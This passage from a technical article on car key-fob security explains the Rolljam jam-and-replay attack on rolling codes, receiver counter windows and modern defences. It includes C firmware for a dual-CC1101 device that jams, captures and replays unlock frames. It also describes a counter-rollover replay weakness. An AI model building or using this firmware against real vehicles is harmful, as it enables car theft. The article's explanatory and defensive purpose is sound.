- The car receiver receives Frame $A$. Since $SC_{\text{frameA}} = N > SC_{\text{recv}} = N-1$, the counter is valid. The vehicle unlocks.
- The victim observes the car unlock on the second press and assumes normal operation.
- The car receiver updates its internal register to $SC_{\text{recv}} = N$.
-
Exfiltration State (Phase 5):
- The attacker retains valid Frame $B$ ($SC=N+1$) in memory.
- Because $N+1 > SC_{\text{recv}} = N$, Frame $B$ is completely valid and will be accepted by the car receiver at any point in the future to unlock the vehicle without requiring key fob proximity.
Firmware State Machine for Dual-CC1101 Microcontroller Hardware
The following embedded C program demonstrates the operation of a dual-CC1101 Rolljam platform. Transceiver 1 manages reactive jamming over SPI commands, while Transceiver 2 intercepts payloads via Carrier Sense (CS) pin interrupts:
#include <stdint.h>
#include <stdbool.h>
// Microcontroller GPIO and SPI Interface Definitions
#define CC1101_JAMMER_CS_PIN 10
#define CC1101_SNIFFER_CS_PIN 9
#define CARRIER_SENSE_INT_PIN 2
typedef enum {
ROLLJAM_STATE_IDLE_SNIFFING,
ROLLJAM_STATE_JAMMING_FIRST_PRESS,
ROLLJAM_STATE_JAMMING_SECOND_PRESS,
ROLLJAM_STATE_REPLAYING_FRAME_A,
ROLLJAM_STATE_EXFIL_READY
} rolljam_state_t;
typedef struct {
uint8_t payload[10]; // 66-bit KeeLoq frame fits in 9 bytes
uint8_t length;
bool valid;
} frame_buffer_t;
static frame_buffer_t frame_A = {0};
static frame_buffer_t frame_B = {0};
static rolljam_state_t current_state = ROLLJAM_STATE_IDLE_SNIFFING;
// External hardware interface abstraction functions
extern void cc1101_start_jamming_cw(uint8_t cs_pin, uint32_t freq_hz);
extern void cc1101_stop_jamming(uint8_t cs_pin);
extern bool cc1101_read_fifo(uint8_t cs_pin, uint8_t *buffer, uint8_t *len);
extern void cc1101_transmit_packet(uint8_t cs_pin, uint8_t *buffer, uint8_t len);
void on_carrier_sense_asserted(void) {
switch (current_state) {
case ROLLJAM_STATE_IDLE_SNIFFING:
// Key fob transmission detected; activate RF jammer immediately
cc1101_start_jamming_cw(CC1101_JAMMER_CS_PIN, 433920000);
current_state = ROLLJAM_STATE_JAMMING_FIRST_PRESS;
break;
case ROLLJAM_STATE_JAMMING_FIRST_PRESS:
if (frame_A.valid) {
// First frame buffered; now jamming second button press
current_state = ROLLJAM_STATE_JAMMING_SECOND_PRESS;
}
break;
default:
break;
}
}
void process_rolljam_loop(void) {
uint8_t rx_buf[16];
uint8_t rx_len = 0;
if (current_state == ROLLJAM_STATE_JAMMING_FIRST_PRESS) {
if (cc1101_read_fifo(CC1101_SNIFFER_CS_PIN, rx_buf, &rx_len)) {
// Store Frame A cleanly
for (uint8_t i = 0; i < rx_len; i++) frame_A.payload[i] = rx_buf[i];
frame_A.length = rx_len;
frame_A.valid = true;
}
} else if (current_state == ROLLJAM_STATE_JAMMING_SECOND_PRESS) {
if (cc1101_read_fifo(CC1101_SNIFFER_CS_PIN, rx_buf, &rx_len)) {
// Store Frame B cleanly
for (uint8_t i = 0; i < rx_len; i++) frame_B.payload[i] = rx_buf[i];
frame_B.length = rx_len;
frame_B.valid = true;
// Immediately cease jamming
cc1101_stop_jamming(CC1101_JAMMER_CS_PIN);
current_state = ROLLJAM_STATE_REPLAYING_FRAME_A;
}
} else if (current_state == ROLLJAM_STATE_REPLAYING_FRAME_A) {
// Transmit stored Frame A to unlock the car
cc1101_transmit_packet(CC1101_SNIFFER_CS_PIN, frame_A.payload, frame_A.length);
// Attack Complete: Frame B remains stored in memory for attacker usage
current_state = ROLLJAM_STATE_EXFIL_READY;
}
}5. Hardware Counter Synchronization and Window Tolerances
Because key fob pushbuttons may be accidentally activated outside the RF range of the receiver (e.g. pressed inside a pocket), the synchronization counter on the transmitter ($SC_{\text{fob}}$) and the receiver ($SC_{\text{recv}}$) will diverge. To maintain usability without compromising security, receivers implement a sliding window protocol.
Sliding Synchronization Counter Window
<- Expired / Rejected ->│<-- Single-Step -->│<--- Resync Window --->│<- Reject ->
───┬──────────────────────┼───────────────────┼───────────────────────┼───────────►
│ SC <= SC_recv │ SC_recv + 1 to │ SC_recv + W_single+1 │ Counter
│ (Replay Rejected) │ SC_recv + W_single│ to SC_recv + W_resync │ Overflow
│ (Immediate Unlock)│ (2-Press Required) │ (Dropped)Counter Window Parameters
A receiver evaluates an incoming counter $SC_{\text{rx}}$ against three operational regions relative to its stored counter $SC_{\text{recv}}$:
- Single-Step Acceptance Window ($W_{\text{single}}$): Defined as $1 \le (SC_{\text{rx}} - SC_{\text{recv}}) \le W_{\text{single}}$, where $W_{\text{single}}$ typically ranges from 16 to 256 counts. If the received counter falls within this range, the receiver updates $SC_{\text{recv}} = SC_{\text{rx}}$ and executes the requested command immediately.
- Resynchronization Window ($W_{\text{resync}}$): Defined as $W_{\text{single}} < (SC_{\text{rx}} - SC_{\text{recv}}) \le W_{\text{resync}}$, where $W_{\text{resync}}$ is typically set to $32,768$ (half of the 16-bit counter space). If $SC_{\text{rx}}$ falls inside this upper window, the receiver does not unlock the vehicle. Instead, it enters a temporary resynchronization state, storing $SC_{\text{rx}}$ in a temporary register. If the next sequential transmission yields $SC_{\text{rx2}} = SC_{\text{rx}} + 1$, the receiver accepts the sequence, updates $SC_{\text{recv}} = SC_{\text{rx2}}$, and completes the unlock action.
- Invalid / Replay Region: If $SC_{\text{rx}} \le SC_{\text{recv}}$ or $(SC_{\text{rx}} - SC_{\text{recv}}) > W_{\text{resync}}$, the packet is dropped without processing.
Comprehensive Receiver Counter Authentication Engine in C
The following C implementation demonstrates the validation processing executed inside automotive door control units (DCUs), incorporating non-volatile memory (NVM) wear leveling awareness, discrimination checking, and window validation:
#include <stdio.h>
#include <stdint.h>
#include <stdbool.h>
#define WINDOW_SINGLE_STEP 16
#define WINDOW_RESYNC 32768
typedef struct {
uint32_t serial_number;
uint16_t sc_recv;
bool resync_pending;
uint16_t resync_buffer;
uint8_t device_key[8];
} receiver_nvm_state_t;
typedef enum {
AUTH_REJECTED = 0,
AUTH_SUCCESS_IMMEDIATE,
AUTH_RESYNC_STARTED,
AUTH_SUCCESS_RESYNCED
} auth_result_t;
auth_result_t validate_incoming_frame(receiver_nvm_state_t *nvm,
uint32_t rx_serial,
uint16_t rx_sc,
uint16_t rx_discrim)
{
// Verify serial number matches stored record
if (rx_serial != nvm->serial_number) {
return AUTH_REJECTED;
}
// Verify discrimination bits (e.g. bottom 10 bits of serial)
if (rx_discrim != (nvm->serial_number & 0x03FF)) {
return AUTH_REJECTED;
}
// Calculate modular difference in 16-bit unsigned space
uint16_t delta = (uint16_t)(rx_sc - nvm->sc_recv);
// Case 1: Replay or identical counter
if (delta == 0 || delta > WINDOW_RESYNC) {
return AUTH_REJECTED;
}
// Case 2: Counter within single-step window
if (delta <= WINDOW_SINGLE_STEP) {
nvm->sc_recv = rx_sc;
nvm->resync_pending = false;
return AUTH_SUCCESS_IMMEDIATE;
}
// Case 3: Counter within resynchronization window
if (delta <= WINDOW_RESYNC) {
if (nvm->resync_pending) {
// Verify second consecutive press matches exactly SC_buffered + 1
if (rx_sc == (uint16_t)(nvm->resync_buffer + 1)) {
nvm->sc_recv = rx_sc;
nvm->resync_pending = false;
return AUTH_SUCCESS_RESYNCED;
} else {
// Resync sequence broken; update buffer to new position
nvm->resync_buffer = rx_sc;
return AUTH_RESYNC_STARTED;
}
} else {
// Initiate resync mode; store initial counter
nvm->resync_pending = true;
nvm->resync_buffer = rx_sc;
return AUTH_RESYNC_STARTED;
}
}
return AUTH_REJECTED;
}Counter Overflow Vulnerabilities
When a 16-bit counter reaches 0xFFFF (65,536 activations), it rolls over to 0x0000. Legacy receiver implementations that lack dedicated rollover flags or fail to enforce cryptographic sequence updates during rollover permit replay attacks: an attacker re-submits historical frame captures ($SC=0x0000$) once the counter rolls over, tricking the DCU into accepting expired key states.
6. Defensive Hardening and Modern Countermeasures
Addressing sub-GHz vulnerabilities requires moving beyond basic single-frequency rolling codes toward hardware-enforced cryptographic freshness and distance bounding.
Modern Hardware Security Architecture
┌────────────────────────────────────────────────────────────────────────┐
│ Ultra-Wideband (UWB) │
│ IEEE 802.15.4z Distance Bounding │
├────────────────────────────────────────────────────────────────────────┤
│ Time-of-Flight (ToF) Pulse Measurements at Sub-Nanosecond Resolution │
│ Cryptographic Scrambled Timestamp Sequence (STS) Prevents RF Relays │
└──────────────────────────────────┬─────────────────────────────────────┘
│
▼
┌────────────────────────────────────────────────────────────────────────┐
│ Symmetric AES-128 Challenge-Response │
├────────────────────────────────────────────────────────────────────────┤
│ 1. Vehicle Transmits 64-Bit Random Nonce N_rand over 868 MHz / UWB │
│ 2. Fob Computes Response = AES-128-CMAC(K_DEV, N_rand || SC || Cmd) │
│ 3. Eliminates Passive Jam-and-Capture (Stolen frame bound to old nonce)│
└────────────────────────────────────────────────────────────────────────┘AES-128 Challenge-Response Cryptography
Modern systems (such as Microchip KeeLoq3 or NXP HiTag AES) replace weak NLFSR ciphers with AES-128 operating in CMAC (Cipher-based Message Authentication Code) mode:
- The vehicle receiver broadcasts a cryptographically secure 64-bit random challenge nonce $N_{\text{rand}}$ over the RF link.
- The key fob encrypts the concatenated challenge, internal counter, and command bits:
$$\text{MAC} = \text{AES-128-CMAC}{K{\text{DEV}}}\left(N_{\text{rand}} \parallel SC \parallel \text{Cmd}\right)$$
- The receiver decrypts the payload and validates that $N_{\text{rand}}$ matches the generated challenge. Because $N_{\text{rand}}$ changes every session, intercepted frames (as in Rolljam) cannot be replayed in future sessions.
Ultra-Wideband (UWB) IEEE 802.15.4z Distance Bounding
To block physical relay attacks (where attackers amplify RF signals to unlock keyless cars over extended distances), automotive systems integrate Ultra-Wideband (UWB) transceivers operating between 6.5 GHz and 8.0 GHz.
UWB measures Time-of-Flight (ToF) of picosecond RF pulses:
$$d = \frac{c \cdot \Delta t}{2}$$
where $c$ is the speed of light ($3 \times 10^8\text{ m/s}$) and $\Delta t$ is the round-trip delay time. Because light travels approximately 30 cm per nanosecond, an RF relay extending key range by 50 meters introduces an additional round-trip delay of:
$$\Delta t_{\text{relay}} = \frac{2 \times 50\text{ m}}{3 \times 10^8\text{ m/s}} = 333.3\text{ ns}$$
UWB receivers detect this timing anomaly and abort authentication. The IEEE 802.15.4z standard adds a cryptographically generated Scrambled Timestamp Sequence (STS) to the UWB PHY frame, preventing attackers from injecting speculative pulses to fake shorter arrival times.
Multi-Band Frequency Hopping Spread Spectrum (FHSS)
Modern RKE systems replace static single-frequency transmissions (e.g. 433.92 MHz) with pseudo-random frequency hopping across multiple channels in both the 433 MHz and 868 MHz ISM bands. Transmitters hop pseudo-randomly across 16 discrete channels per frame based on the shared secret state.
This forces jamming hardware to saturate wide RF bands simultaneously, requiring orders of magnitude higher RF output power (violating ETSI/FCC regulations) and triggering automatic spectrum anomaly alarms within modern central body control modules.